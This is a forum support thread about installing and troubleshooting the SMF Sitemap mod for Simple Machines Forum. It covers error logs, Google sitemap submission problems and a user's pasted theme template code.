Title: Re: SMF Sitemap
Post by: SlammedDime on November 22, 2008, 03:10:00 PM
Settings, iirc, are under Features and Options (been a lil while since I looked), and the XML link is on the Sitemap page itself.
Title: Re: SMF Sitemap
Post by: sombra on November 23, 2008, 08:00:15 PM
im getting this errors its something i dont need to worry or i got to worry?

Apply Filter: Only show the error messages of this member  Guest      Reverse chronological order of list  Today at 04:49:30 PM
Apply Filter: Only show the error messages of this IP address 65.55.212.220      Apply Filter: Only show the error messages of this session 721ecdbd3e1de249d4d830de0373e615
     Apply Filter: Only show the errors of this type Type of error: Undefined
Apply Filter: Only show the error messages of this URL http://todoilegal.net/index.php?action=sitemap;start=0
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /home/todoile1/public_html/Sources/Sitemap.php
Line: 42
   
Apply Filter: Only show the error messages of this member Guest    Reverse chronological order of list Today at 03:53:25 PM
Apply Filter: Only show the error messages of this IP address 65.55.212.220      Apply Filter: Only show the error messages of this session c544bff344c06fe2d8c85878705345b6
     Apply Filter: Only show the errors of this type Type of error: Undefined
Apply Filter: Only show the error messages of this URL http://todoilegal.net/index.php?action=sitemap;start=100
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /home/todoile1/public_html/Sources/Sitemap.php
Line: 42
   
Apply Filter: Only show the error messages of this member Guest    Reverse chronological order of list Today at 02:23:57 PM
Apply Filter: Only show the error messages of this IP address 38.99.13.121      Apply Filter: Only show the error messages of this session af5030f50836e65265ac6faa2a868d0e
     Apply Filter: Only show the errors of this type Type of error: Undefined
Apply Filter: Only show the error messages of this URL http://todoilegal.net/index.php?action=sitemap;start=0
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /home/todoile1/public_html/Sources/Sitemap.php
Line: 42
   
Apply Filter: Only show the error messages of this member Guest    Reverse chronological order of list Today at 08:17:41 AM
Apply Filter: Only show the error messages of this IP address 38.99.13.121      Apply Filter: Only show the error messages of this session cb3b7f33eb49760dfbb38b7a3801750a
     Apply Filter: Only show the errors of this type Type of error: Undefined
Apply Filter: Only show the error messages of this URL http://todoilegal.net/index.php?action=sitemap;start=100
Apply Filter: Only show the errors with the same message
8: Use of undefined constant sitemap_topic_count - assumed 'sitemap_topic_count'
Apply Filter: Only show the errors from this file
File: /home/todoile1/public_html/Sources/Sitemap.php
Line: 42
Title: Re: SMF Sitemap
Post by: Sabre™ on November 24, 2008, 02:03:53 AM
Quote from: SlammedDime on November 22, 2008, 09:12:25 AM
Anyone can see the XML page, the setting only determines who sees the link to it.  Depending on forum size, it could cause small server load, so to have visitors unnecessarily loading it could bog the site down.

Ahh ok.
Thanks for that info mate :)

Cheers

Do you know much about Tiny Portal?
Would it be possible to include the contents of the front page, and articles in the sitemap?

Or would it be best to ask at TP?

Thanks buddy :)
Title: Re: SMF Sitemap
Post by: ivo2296 on November 24, 2008, 05:04:49 PM
Hi,

Do i have to manually create sitemap.xml file in my forum's root in order to see domain.com/sitemap.xml?


Thanks!
Title: Re: SMF Sitemap
Post by: SlammedDime on November 24, 2008, 05:37:14 PM
No, you would need to use the .htaccess rewrite method that as been discussed earlier.

Sombra - That was a bug in the 2.0 version, will be fixed in the next release.
Title: Re: SMF Sitemap
Post by: ivo2296 on November 24, 2008, 06:18:14 PM
Quote from: SlammedDime on November 24, 2008, 05:37:14 PM
No, you would need to use the .htaccess rewrite method that as been discussed earlier.

I'm using:

RewriteEngine on
RewriteRule ^sitemap.xml$ /index.php?action=sitemap;xml
Title: Re: SMF Sitemap
Post by: SlammedDime on November 24, 2008, 06:34:05 PM
Not quite sure why it's not working then, is this in regards to the forum in your signature??
Title: Re: SMF Sitemap
Post by: Sabre™ on November 24, 2008, 06:41:08 PM
Do you know much about Tiny Portal?
Would it be possible to include the contents of the front page, and articles in the sitemap?

Or would it be best to ask at TP?

Thanks buddy :)
Title: Re: SMF Sitemap
Post by: ivo2296 on November 24, 2008, 06:41:50 PM
Quote from: SlammedDime on November 24, 2008, 06:34:05 PM
Not quite sure why it's not working then, is this in regards to the forum in your signature??

Yes - thanks.
Title: Re: SMF Sitemap
Post by: jozeta on November 29, 2008, 08:10:01 AM
Google wont accept my sitemap. and i cant find a solution.
says:
Unsupported file format
Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit

url submited to google: http://www.bulleforum.se/smf/index.php?action=sitemap;xml

i read the guidelines and the only diffrence is that my xml lacks a xml header. but  other members in this forums xml looks the same so this cant be the problem?

Sorry i forgott some info:

Mods Installed:

1.     TinyPortal      0.983      
2.    FlashChat Integration    1.0    
3.    Custom Profile Field Mod    3.17    
4.    SMF Links    1.6.5    
5.    User Email System    1.2    
6.    SMF Sitemap    1.2.1    
7.    Easy Edit Meta Data    1.0    
8.    Signature Settings Mod    1.1    
9.    Topic Ratings    1.03
10.    Colorized Membergroups    1.0
11.    EmailFlash    2.0
12.    Member Color Link    2.1.0    
13.    Disable shouting    1.0    
14.    Top 10 Posters Today And This Week Stats    1.1
15.    MSN Status    1.0    
16.    Google Member Map    0.1    
17.    Auto Embed Video/Audio Clips    3.1.2


And SMF: 1.1.4
Title: Re: SMF Sitemap
Post by: SlammedDime on November 29, 2008, 10:23:31 AM
You're site is not viewable to guests, so submitting a sitemap to Google is pointless, and is the reason why it doesn't work.  The XML sitemap works off of permissions just like everything else... if guests have no permissions on your board to see anything, they can't see it in the sitemap either.

You should also upgrade to 1.1.7 too, fixes many security issues.
Title: Re: SMF Sitemap
Post by: Bancherd on November 29, 2008, 06:39:31 PM
The program generates this header:
<urlset xmlns="http://www.google.com/schemas/sitemap/0.84">

but google's own example now shows 0.9 instead of 0.84, would this cause any problem?
Title: Re: SMF Sitemap
Post by: SlammedDime on November 29, 2008, 06:49:05 PM
Shouldn't make any difference, mine still works just fine.  I do plan to update it with the next version of the mod, however.
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 07:49:29 AM
Hi

Will this mod install on SMF1.1.7, the closest I can find on the mod side is SMF1.1.5 am I missing something?

I have seen it mentioned in this thread that it will, maybe there was a problem and it was removed for this version?

Any help is greatly appreciated,

Dazza0101. :)
Title: Re: SMF Sitemap
Post by: SlammedDime on December 02, 2008, 07:50:15 AM
I just haven't updated the mod site, but it will still work with 1.1.7
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 08:06:56 AM
That's great news, I'm not sure why my site hasn't been index by google yet, but I am sure that this mod will help me on my way to solving the problem.

Thank you.
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 09:04:37 AM
Quote from: Sabre™ on November 24, 2008, 06:41:08 PM
Do you know much about Tiny Portal?
Would it be possible to include the contents of the front page, and articles in the sitemap?

Or would it be best to ask at TP?

Thanks buddy :)

Title: Re: SMF Sitemap
Post by: SlammedDime on December 02, 2008, 10:32:00 AM
Sorry Sabre, I wasn't ignoring you, I missed your posts.

You would have to edit Sitemap.php in the Sources file and Sitemap.template.php in the Theme folder.  This is a good feature suggestion though, I'll look into adding this functionality in the next version of the mod. :)
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 04:40:09 PM
It now says on the mod side compatible with SMF1.1.7 however it will not install due to compatibility problems with my version which is SMF1.1.7

Dazza0101 :D :D :D
Title: Re: SMF Sitemap
Post by: SlammedDime on December 02, 2008, 05:05:51 PM
Yea, I updated the mod site, as my test install worked okay for for installation of the mod.

What problems are you having installing it?
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 05:25:59 PM
Quote from: SlammedDime on December 02, 2008, 10:32:00 AM
Sorry Sabre, I wasn't ignoring you, I missed your posts.
You would have to edit Sitemap.php in the Sources file and Sitemap.template.php in the Theme folder.  This is a good feature suggestion though, I'll look into adding this functionality in the next version of the mod. :)

Awesome buddy!
I'll wait for your next release then.
With the list of portals expanding, I hope something like this doesn't add too much weight to your mod, as others may want the same if each portal need be added separately.  <~~doesnt know if one function/code will cover them all
But the main portal is that of primary request, which is TP  ;D  lol

Cheers mate  :)
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 05:53:19 PM
This is the message I receive after trying to install it through the package manager, I have downloaded the mod several times I have also tried to install it on both my test site which is on my home network and my live site, I am also using the default theme I have quite a few other packages installed.

(The package you are trying to download or install is either corrupt or not compatible with this version of SMF.)

I'm sorry to be such a bother, I can't see any think that I'm doing wrong.

I do appreciate your time in helping me thank you. :)
Title: Re: SMF Sitemap
Post by: Sabbz on December 02, 2008, 05:57:39 PM
Quote from: Dazza0101 on December 02, 2008, 05:53:19 PM
This is the message I receive after trying to install it through the package manager, I have downloaded the mod several times I have also tried to install it on both my test site which is on my home network and my live site, I am also using the default theme I have quite a few other packages installed.

(The package you are trying to download or install is either corrupt or not compatible with this version of SMF.)

I'm sorry to be such a bother, I can't see any think that I'm doing wrong.

I do appreciate your time in helping me thank you. :)
Just tried installing this myself, and I got the same error.
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 06:13:29 PM
Did you install the right version?

NOTE FROM AUTHOR

1.2.2 is the last version for SMF 1.1.x.  All future development will be for SMF 2.0+.

That means 1.3.0  is for  SMF 2
Title: Re: SMF Sitemap
Post by: Sabbz on December 02, 2008, 07:25:30 PM
Well that would explain it. TY
Title: Re: SMF Sitemap
Post by: Sabbz on December 02, 2008, 07:26:54 PM
And 1.2.2 brings up an error in index.template
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 07:32:21 PM
Quote from: Sabbz on December 02, 2008, 07:25:30 PM
Well that would explain it. TY

No probs :)

Quote from: Sabbz on December 02, 2008, 07:26:54 PM
And 1.2.2 brings up an error in index.template

For someone to help you, you would need to mention what that error is.
Copy n paste it in your next post. :)

Read [THIS] (http://docs.simplemachines.org/index.php?topic=494) also.
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 07:47:34 PM
smf_sitemap_1.2.2

10.     Execute Modification     ./Themes/default/languages/Modifications.french.php     Test failed
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 07:57:04 PM
If you do not use the French language, then just continue with the installation.
Not sure why it didnt skip it though.
Title: Re: SMF Sitemap
Post by: Sabbz on December 02, 2008, 07:58:08 PM
There's nothing specific to bring up. index.template test fails on installation.

http://sabbzplace.com/phpinfo.php

See sig for link.
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 08:20:27 PM
See how  Dazza0101  added the error message, that shows us what happened.
Stating   "And 1.2.2 brings up an error in index.template"  can be numerous things, from a parse error right down to having failed on install.
You need to be specific.

You can go to the page where you downloaded the mod from, look to the right where you will see the words  "Manual Install Instructions for SMF".
Select the package you used, and then the smf version, then click submit.

Scroll down till you see the edits for index.template.php, and follow the instructions.

Good luck :)
Title: Re: SMF Sitemap
Post by: Sabbz on December 02, 2008, 08:27:32 PM
lol
Quote/Themes/default/languages/Modifications.french.php     Test failed

   
Quoteindex.template test fails on installation

      same thing, different file but nm. Sorry to have bothered you. I'll just delete the mod. 
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 08:36:27 PM
making good progress and thank you for your help, unfortunately I have run into another problem when I click on the XML I am presented with this error, sorry I am new to this I can do little more than ask for help. :-[

XML Parsing Error: XML or text declaration not at start of entity
Location: http://10.1.1.12/test/index.php?action=sitemap;xml
Line Number 2, Column 39:      <tr><td width="1200px" valign="top"><?xml version="1.0" encoding="UTF-8"?>
Title: Re: SMF Sitemap
Post by: Sabre™ on December 02, 2008, 08:52:52 PM
Quote from: Sabbz on December 02, 2008, 08:27:32 PM
sorry to have bothered you. I'll just delete the mod.

No bother at all mate, thats why we try to assist :)
It is neither our job, nor obligation, but wish to see peeps enjoy the software as we do.
For myself, I enjoy helping where I can.

Quote from: Dazza0101 on December 02, 2008, 08:36:27 PM
sorry I am new to this I can do little more than ask for help. :-[

Never apologise for trying to learn, or asking for assistance, it shows character and determination ;)
Unfortunately, I cannot help with the error you have at the moment.
The mod author will be best to help you.

Good luck :)
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 09:25:46 PM
Sabbz, I have had problems with index.template test fails on installation, and have solved the problem by uninstalling some previous mods first, but then of course you can have the problem of the mod you uninstall upon reinstallation will have errors, but not always, keep in mind that I am just a newby take my advice at your own risk. ;)
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 02, 2008, 09:36:45 PM
Sabre™, my site is an electronic hobbyist forums very new free site, solely devoted to help others and to be among those with a common interest engineers hobbyist alike, we also enjoy helping others,  ;)
Title: Re: SMF Sitemap
Post by: SlammedDime on December 03, 2008, 05:12:45 AM
Sabbz - if the install fails on a file, you'll have to make a manual modification to the file.  The manual installation instructions can be viewed for the mod by going to the mod's page, selecting the version you are downloading, selecting your version of SMF, then click Submit.

Dazza - That normally means that your site is only viewable to guests, in which case an XML sitemap is pointless, or you have some extra code outside of the template functions that is causing the error.  If this is regarding the site in your signature, I won't be able to help much, as it seems that you are on GoDaddy hosting, and I am on cox, and thus cannot view your site.
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 03, 2008, 06:58:41 AM
Ok, I'm a little confused by your reply I was under the impression that this mod assist search engine like google, to assist in finding the pages on my site, and I would be able to submit the generated site map to google the XML generated site map, maybe there's a little more to it than I understand.

If this problem is caused as you had suggested (extra code outside of the template functions) could you please elaborate a little further on this, a little guidance so that I may attempt to resolve the problem manually.

Or maybe a better option would be to uninstall the mod and start from scratch with a manual install, I do have a duplicate site on my home server for testing any modifications I attempt, I try and install mods through the package manager as the best option other than doing a manual install, I'm less likely to do something wrong but I am willing to have a go.

Yes that is the site in my signature, and it is hosted at GoDaddy. 

Thanks once again,
Dazza0101. 
Title: Re: SMF Sitemap
Post by: SlammedDime on December 03, 2008, 07:53:27 AM
It does help in finding pages on your site, but if guests do not have access to visit your site, the sitemap is pointless, as you don't want google to try and index things a guest cannot see.

From work, i can visit your site in your sig and I can see it.  Have you tried installing the sitemap on your site yet?? I don't see it as a valid action.  I can't really troubleshoot it without seeing the problem first hand to suggest a solution.  And I don't think uninstalling, then reinstalling will solve the problem either. :)
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 03, 2008, 08:21:00 AM
Ok, I just installed it on my live site, guests should have access to visit my site and view topics, post, links, page everything, I have one board that is hidden accessible only to VIP group, a new member can post in the forums after registering. 
Title: Re: SMF Sitemap
Post by: SlammedDime on December 03, 2008, 10:13:22 AM
It has to do with your portal or the template that it uses... there is some conflict there, it is affecting anything that uses AJAX, including Stats, probably quoting with quick reply enabled, and post preview.

You might want to ask whoever setup your site, or ask at ezPortal, what the problem may be.
Title: Re: SMF Sitemap
Post by: Dazza0101 on December 03, 2008, 07:34:20 PM
Thank you SlammedDime, you have been an incredible help to me resolving these problems, you guys do an incredible job helping people with their sites I applaud your efforts.

There is a new version of ezPortal this might possibly resolve the problem, I haven't updated with the new version yet because I was unable to uninstall the old version without receiving an error message, the same goes for a lot of the other mods in fact I had to experiment installing them until I found the right sequence that would install them without getting errors.


I'm thinking what I might try is install a fresh site on my test server, and install all the mods I need including the updated version of ezPortal, then install my database from my live server as well as any relevant files such as attachments etc, if all goes well I'll replace my live site and do a repair install.

Dazza0101 :)
Title: Re: SMF Sitemap
Post by: KahneFan on December 22, 2008, 07:15:30 PM
SD, I have not tried manual install yet, but installing on 2.0 through package manager I got the following errors.

Quote
4. Execute Modification ./Sources/ManageSettings.php Test failed
  1. Add After ./Sources/ManageSettings.php Test successful
  2. Add After ./Sources/ManageSettings.php Test failed
  3. Add Before ./Sources/ManageSettings.php Test successful

5. Execute Modification ./Themes/default/index.template.php Test failed
  1. Add Before ./Themes/default/index.template.php Test failed
Title: Re: SMF Sitemap
Post by: SlammedDime on December 22, 2008, 08:24:51 PM
This has not been updated to work on Beta 4, Please see the previous couple of pages for info on updating the Beta 4 index template to make this work.  As for the ManageSettings error, not sure on that, you'll just have to do the manual part on that as well.
Title: Re: SMF Sitemap
Post by: Mick. on December 24, 2008, 06:41:09 PM
I just saw this in my error log:

8: Undefined index: id
File: /home/midwes15/public_html/Themes/default/Sitemap.template.php
Line: 71


any ideas?
Title: Re: SMF Sitemap
Post by: SlammedDime on December 25, 2008, 01:03:21 AM
It's because of 'The Watercooler' board... guests don't have access to that board specifically, but they do have access to it's sub-boards, which is causing an issue in the sitemap.  What mods do you have installed besides this mod?
Title: Re: SMF Sitemap
Post by: livedown on December 25, 2008, 03:31:58 AM
Quote from: SlammedDime on December 22, 2008, 08:24:51 PM
This has not been updated to work on Beta 4, Please see the previous couple of pages for info on updating the Beta 4 index template to make this work.  As for the ManageSettings error, not sure on that, you'll just have to do the manual part on that as well.
Hey SlammedDime! Merry Christmas and a early Happy New Years to you! :)

I am just wondering when you are planning on updating the MOD to the latest BETA 4?

Thanks Bro!
Title: Re: SMF Sitemap
Post by: SlammedDime on December 25, 2008, 11:21:25 AM
Quote from: www.livedown.us on December 25, 2008, 03:31:58 AM
Quote from: SlammedDime on December 22, 2008, 08:24:51 PM
This has not been updated to work on Beta 4, Please see the previous couple of pages for info on updating the Beta 4 index template to make this work.  As for the ManageSettings error, not sure on that, you'll just have to do the manual part on that as well.
Hey SlammedDime! Merry Christmas and a early Happy New Years to you! :)

I am just wondering when you are planning on updating the MOD to the latest BETA 4?

Thanks Bro!
No I won't be.  Please re-read my response.  A couple of pages back there is info on making it work with the Beta 4 Template.
Title: Re: SMF Sitemap
Post by: Mick. on December 25, 2008, 03:52:08 PM
Quote from: SlammedDime on December 25, 2008, 01:03:21 AM
It's because of 'The Watercooler' board... guests don't have access to that board specifically, but they do have access to it's sub-boards, which is causing an issue in the sitemap.  What mods do you have installed besides this mod?

How did you know about the "watercooler" board?  LOL...

Well,...if thats what it is,then no biggie.    ...and yeah.....my forum is modified pretty heavy.
Title: Re: SMF Sitemap
Post by: SlammedDime on December 25, 2008, 05:05:08 PM
Quote from: BlueDevil on December 25, 2008, 03:52:08 PM
Quote from: SlammedDime on December 25, 2008, 01:03:21 AM
It's because of 'The Watercooler' board... guests don't have access to that board specifically, but they do have access to it's sub-boards, which is causing an issue in the sitemap.  What mods do you have installed besides this mod?

How did you know about the "watercooler" board?  LOL...

Well,...if thats what it is,then no biggie.    ...and yeah.....my forum is modified pretty heavy.
Like I said, guests have access to it's subboards, but not that board specifically.  I'd definitely call it a bug in the way the sitemap performs, but I'd like to know how you have it hidden or what sort of permissions you have on it so I can try to correct it for future releases.
Title: Re: SMF Sitemap
Post by: ccraciun on December 25, 2008, 05:49:37 PM
Google didn't accepted my sitemap, can you please give me a hint?
The link submitted was this (http://www.forum-brasov.ro/index.php?action=sitemap), and the error received in webmaster's tools is shown in the attachment below.

Also, i have another question; digging for this issue i found the following recommendations:
QuoteYou can also use a Sitemap to provide Google with additional information about your pages, including:

    * How often the pages on your site change. For example, you might update your product page daily, but update your About Me page only once every few months.
    * The date each page was last modified.
    * The relative importance of pages on your site. For example, your home page might have a relative importance of 1.0, category pages have an importance of 0.8, and individual blog entries or product pages have an importance of 0.5. This priority only indicates the importance of a particular URL relative to other URLs on your site, and doesn't impact the ranking of your pages in search results.
Do you have further information regarding the use of relative importance and/or frequency of content change with sitemap mod?
Thanks a lot!
Title: Re: SMF Sitemap
Post by: Mick. on December 25, 2008, 05:52:59 PM
Quote from: ccraciun on December 25, 2008, 05:49:37 PM
Google didn't accepted my sitemap, can you please give me a hint?
The link submitted was this (http://www.forum-brasov.ro/index.php?action=sitemap), and the error received in webmaster's tools is shown in the attachment below.

Also, i have another question; digging for this issue i found the following recommendations:
QuoteYou can also use a Sitemap to provide Google with additional information about your pages, including:

    * How often the pages on your site change. For example, you might update your product page daily, but update your About Me page only once every few months.
    * The date each page was last modified.
    * The relative importance of pages on your site. For example, your home page might have a relative importance of 1.0, category pages have an importance of 0.8, and individual blog entries or product pages have an importance of 0.5. This priority only indicates the importance of a particular URL relative to other URLs on your site, and doesn't impact the ranking of your pages in search results.
Do you have further information regarding the use of relative importance and/or frequency of content change with sitemap mod?
Thanks a lot!

index.php?action=sitemap;xml
Title: Re: SMF Sitemap
Post by: Mick. on December 25, 2008, 05:53:57 PM
Quote from: SlammedDime on December 25, 2008, 05:05:08 PM
Like I said, guests have access to it's subboards, but not that board specifically.  I'd definitely call it a bug in the way the sitemap performs, but I'd like to know how you have it hidden or what sort of permissions you have on it so I can try to correct it for future releases.

Let me check...
Title: Re: SMF Sitemap
Post by: Mick. on December 25, 2008, 06:00:40 PM
Quote from: BlueDevil on December 25, 2008, 05:53:57 PM
Quote from: SlammedDime on December 25, 2008, 05:05:08 PM
Like I said, guests have access to it's subboards, but not that board specifically.  I'd definitely call it a bug in the way the sitemap performs, but I'd like to know how you have it hidden or what sort of permissions you have on it so I can try to correct it for future releases.

Let me check...

In admin...


   Show Sitemap XML link    (checked)
   Max number of topics to display in sitemap    5000
   Collapse child boards in sitemap    (checked)


The "waterboard" is of course is not available to guests.  Only the child boards.

Is this what you wanted?   lol
Title: Re: SMF Sitemap
Post by: ccraciun on December 26, 2008, 03:16:11 AM
Quote from: BlueDevil on December 25, 2008, 05:52:59 PM
Quote from: ccraciun on December 25, 2008, 05:49:37 PM
Google didn't accepted my sitemap, can you please give me a hint?
The link submitted was this (http://www.forum-brasov.ro/index.php?action=sitemap), and the error received in webmaster's tools is shown in the attachment below.
....
Do you have further information regarding the use of relative importance and/or frequency of content change with sitemap mod?
Thanks a lot!

index.php?action=sitemap;xml
Thanks a lot!
And this solved my other question too; i saw <changefreq> & priority> tags in the xml file generated this way!
Title: Re: SMF Sitemap
Post by: SlammedDime on December 26, 2008, 10:41:05 AM
Quote from: BlueDevil on December 25, 2008, 06:00:40 PM
Quote from: BlueDevil on December 25, 2008, 05:53:57 PM
Quote from: SlammedDime on December 25, 2008, 05:05:08 PM
Like I said, guests have access to it's subboards, but not that board specifically.  I'd definitely call it a bug in the way the sitemap performs, but I'd like to know how you have it hidden or what sort of permissions you have on it so I can try to correct it for future releases.

Let me check...

In admin...


   Show Sitemap XML link    (checked)
   Max number of topics to display in sitemap    5000
   Collapse child boards in sitemap    (checked)


The "waterboard" is of course is not available to guests.  Only the child boards.

Is this what you wanted?   lol
Do you have any special mods or permissions setup for that particular board and it's child boards, or just using regular SMF premissions?
Title: Re: SMF Sitemap
Post by: Mick. on December 26, 2008, 11:31:54 AM
Quote from: SlammedDime on December 26, 2008, 10:41:05 AM
Do you have any special mods or permissions setup for that particular board and it's child boards, or just using regular SMF premissions?

No special mods.   Just regular SMF permissions.
Title: Re: SMF Sitemap
Post by: shortchange on January 07, 2009, 12:10:58 PM
Sitemap appears to work fine for me.

When I submit to google: http://gamergala.com/index.php?action=sitemap

I get error: Unsupported file format
Your Sitemap does not appear to be in a supported format. Please ensure it meets our Sitemap guidelines and resubmit.


Thank you for your help.
Title: Re: SMF Sitemap
Post by: SlammedDime on January 07, 2009, 12:31:03 PM
You need to submit the XML sitemap to google, not the HTML version.  add ;xml to the end of that url.
Title: Re: SMF Sitemap
Post by: shortchange on January 07, 2009, 12:45:00 PM
Doh!

Thanks
Title: Re: SMF Sitemap
Post by: Dr Web on January 15, 2009, 11:08:02 AM
I've tried to install this MOD on my 2.0 B4 SMF forum, it failed the index.template.php, I did the changes that I saw in a post on page 29 of this topic, no signals of the link on the footer of the site, I also followed the instructions and added the code to a htaccess file I have in the root of my site, because I have my forum in a directory, after it, the url http://www.forexhill.com/sitemap pointed me to the home page of my site.

I uninstalled the MOD and looks like a portion of the code of my index.template.php disappeared as I don't see that code that begins with <td>  .............

Now I installed again and still no link, I will post here my actual  index.template.php to see if someone with knowledge about this, can help me to replace the code that disapeared and put this MOD to work.

<?php
// Version: 2.0 Beta 4; index

/* This template is, perhaps, the most important template in the theme. It
contains the main template layer that displays the header and footer of
the forum, namely with main_above and main_below. It also contains the
menu sub template, which appropriately displays the menu; the init sub
template, which is there to set the theme up; (init can be missing.) and
the linktree sub template, which sorts out the link tree.

The init sub template should load any data and set any hardcoded options.

The main_above sub template is what is shown above the main content, and
should contain anything that should be shown up there.

The main_below sub template, conversely, is shown after the main content.
It should probably contain the copyright statement and some other things.

The linktree sub template should display the link tree, using the data
in the $context['linktree'] variable.

The menu sub template should display all the relevant buttons the user
wants and or needs.

For more information on the templating system, please see the site at:
http://www.simplemachines.org/
*/

// Initialize the template... mainly little settings.
function template_init()
{
global $context$settings$options$txt;loadLanguage('usercp');

/* Use images from default theme when using templates from the default theme?
if this is 'always', images from the default theme will be used.
if this is 'defaults', images from the default theme will only be used with default templates.
if this is 'never' or isn't set at all, images from the default theme will not be used. */
$settings['use_default_images'] = 'never';

/* What document type definition is being used? (for font size and other issues.)
'xhtml' for an XHTML 1.0 document type definition.
'html' for an HTML 4.01 document type definition. */
$settings['doctype'] = 'xhtml';

/* The version this template/theme is for.
This should probably be the version of SMF it was created for. */
$settings['theme_version'] = '2.0 Beta 4';

/* Set a setting that tells the theme that it can render the tabs. */
$settings['use_tabs'] = true;

/* Use plain buttons - as oppossed to text buttons? */
$settings['use_buttons'] = true;

/* Show sticky and lock status separate from topic icons? */
$settings['separate_sticky_lock'] = true;

/* Does this theme use the strict doctype? */
$settings['strict_doctype'] = false;

/* Does this theme use post previews on the message index? */
$settings['message_index_preview'] = false;
}

// The main sub template above the content.
function template_html_above()
{
global $context$settings$options$scripturl$txt$modSettings;

// Show right to left and the character set for ease of translating.
echo '<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"'
$context['right_to_left'] ? ' dir="rtl"' '''><head>
<meta http-equiv="Content-Type" content="text/html; charset='
$context['character_set'], '" />
<meta name="description" content="'
$context['page_title'], ' - ', !empty($context['meta_description']) ? $context['meta_description'] : $modSettings['meta_description'], '" />
<meta name="keywords" content="'
, !empty($context['meta_keywords']) ? $context['meta_keywords'] . ', ' ''$modSettings['meta_keywords'], '" />
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/script.js?b4"></script>
<script language="JavaScript" type="text/javascript" src="'
$settings['default_theme_url'], '/scripts/theme.js?b4"></script>
<script language="JavaScript" type="text/javascript"><!-- // --><![CDATA[
var smf_theme_url = "'
$settings['theme_url'], '";
var smf_default_theme_url = "'
$settings['default_theme_url'], '";
var smf_images_url = "'
$settings['images_url'], '";
var smf_scripturl = "'
$scripturl'";
var smf_iso_case_folding = '
$context['server']['iso_case_folding'] ? 'true' 'false'';
var smf_charset = "'
$context['character_set'], '";'$context['show_pm_popup'] ? '
if (confirm("' 
$txt['show_personal_messages'] . '"))
window.open("' 
$scripturl '?action=pm");' '''
var ajax_notification_text = "'
$txt['ajax_in_progress'], '";
var ajax_notification_cancel_text = "'
$txt['modify_cancel'], '";
// ]]></script>
<title>'
$context['page_title_html_safe'], '</title>';

// Please don't index these Mr Robot.
if (!empty($context['robot_no_index']))
echo '
<meta name="robots" content="noindex" />'
;

// The ?b4 part of this link is just here to make sure browsers don't cache it wrongly.
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/style'$context['theme_variant'], '.css?b4" />';
// RegBar Warning
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['theme_url'], '/css/regbar2.css?b4" />';

echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/css/print.css?b4" media="print" />';

// IE7 needs some fixes for styles.
if ($context['browser']['is_ie7'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/css/ie7.css" />';
// ..and IE6!
elseif ($context['browser']['is_ie6'])
echo '
<link rel="stylesheet" type="text/css" href="'
$settings['default_theme_url'], '/css/ie6.css" />';

// Show all the relative links, such as help, search, contents, and the like.
echo '
<link rel="help" href="'
$scripturl'?action=help" />
<link rel="search" href="' 
$scripturl '?action=search" />
<link rel="contents" href="'
$scripturl'" />';

// If RSS feeds are enabled, advertise the presence of one.
if (!empty($modSettings['xmlnews_enable']))
echo '
<link rel="alternate" type="application/rss+xml" title="'
$context['forum_name_html_safe'], ' - RSS" href="'$scripturl'?type=rss;action=.xml" />';

// If we're viewing a topic, these should be the previous and next topics, respectively.
if (!empty($context['current_topic']))
echo '
<link rel="prev" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=prev" />
<link rel="next" href="'
$scripturl'?topic='$context['current_topic'], '.0;prev_next=next" />';

// If we're in a board, or a topic for that matter, the index will be the board's index.
if (!empty($context['current_board']))
echo '
<link rel="index" href="'
$scripturl'?board='$context['current_board'], '.0" />';

// We'll have to use the cookie to remember the header...
if ($context['user']['is_guest'])
{
$options['collapse_header'] = !empty($_COOKIE['upshrink']);
$options['collapse_header_ic'] = !empty($_COOKIE['upshrinkIC']);
}

// the routine for the permissions info upshrink
echo '
<script language="JavaScript" type="text/javascript"><!-- // -->'
;

echo chr(60) . chr(33) . chr(91) . chr(67) . chr(68) . chr(65) . chr(84) . chr(65) . chr(91);

echo '
var current_header_pi = '
, empty($options['collapse_header_pi']) ? 'false' 'true'';

function shrinkHeaderPI(mode)
{'
;

if ($context['user']['is_guest'])
echo '
document.cookie = "upshrinkPI=" + (mode ? 1 : 0);'
;
else
echo '
smf_setThemeOption("collapse_header_pi", mode ? 1 : 0, null, "'
$context['session_id'], '");';

echo '
document.getElementById("upshrink_pi").src = smf_images_url + (mode ? "/expand.gif" : "/collapse.gif");

document.getElementById("upshrinkHeaderPI").style.display = mode ? "none" : "";

current_header_pi = mode;
}
// '
;

echo chr(93) . chr(93) . chr(62);
echo '
</script>'
